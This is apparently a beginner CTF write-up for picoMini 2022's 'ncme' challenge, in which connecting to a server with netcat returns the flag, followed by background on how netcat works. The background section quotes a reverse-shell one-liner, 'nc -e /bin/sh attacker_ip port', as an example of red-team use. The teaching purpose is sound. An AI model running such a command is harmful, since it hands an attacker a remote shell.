ncme Beginner picoMini 2022 Solution

Published: April 2, 2026

Description

Connect to the server and get the flag.

Remote

Use netcat to connect to the provided host and port.

bash
nc saturn.picoctf.net <PORT>
New to networking tools? Networking Tools for CTF Challenges covers netcat (used here), curl, Wireshark, nmap, and browser DevTools.
  1. Step 1Connect with netcat
    Run the nc command with the host and port from the challenge page. The server immediately sends the flag without requiring any input.
    bash
    nc saturn.picoctf.net <PORT>
    Learn more

    netcat (nc) is a command-line tool that establishes raw TCP or UDP connections. The basic syntax nc <host> <port> opens a connection to the specified host on the specified port, then passes data between your terminal's stdin/stdout and the network socket. It is the simplest way to interact with a service that speaks plain text.

    In CTF challenges, nc is used to connect to challenge servers that serve flags, run programs, or host interactive puzzles. The host is typically a domain name or IP address, and the port identifies which service on that host to connect to - similar to how a building address (host) and apartment number (port) together identify a specific destination.

    Common netcat use cases beyond CTFs include:

    • Testing whether a port is open: nc -zv host port
    • Listening for incoming connections: nc -l -p port
    • Transferring files between machines over a network
    • Debugging HTTP or SMTP servers by hand-crafting requests

    On some systems, netcat is installed as ncat (the Nmap version) or netcat. The flags differ slightly between implementations, but the basic connection syntax is the same.

    Under the hood, nc performs a standard TCP three-way handshake with the target host: it sends a SYN packet, waits for a SYN-ACK from the server, then completes the connection with an ACK. Once the connection is established, data flows as a raw byte stream - netcat makes no assumptions about the application-layer protocol. This is why it works equally well against HTTP servers, custom CTF services, or anything else that speaks TCP.

    In penetration testing, netcat is sometimes called the "TCP/IP Swiss Army knife" because of its versatility. Red teamers use it to set up reverse shells: a compromised machine runs nc -e /bin/sh attacker_ip port to send a shell back to the attacker's listener. Defenders detect this activity by monitoring for unexpected outbound connections or unusual use of the nc binary. Many modern Linux distributions ship without the -e flag specifically to limit this abuse vector.

    When a challenge server does not respond immediately after connecting, it is usually waiting for input. Common opening moves include pressing Enter, typing help, or sending a specific protocol keyword like GET / HTTP/1.0. Reading the challenge description carefully for hints about the expected protocol is always worthwhile before sending blind guesses.

    For challenges that require scripted interaction - sending inputs based on the server's responses - raw netcat quickly becomes insufficient. The pwntools Python library provides remote(host, port) to connect and methods like recvline(), sendline(), and interactive() to automate multi-step conversations with a server. Graduating from manual netcat to scripted pwntools is one of the key progressions in CTF skill development.

Flag

picoCTF{...}

netcat is the go-to tool for connecting to challenge servers that speak plain text - it opens a raw TCP connection and passes data between the terminal and the server.

Want more Beginner picoMini 2022 writeups?

Useful tools for General Skills

Related reading

What to try next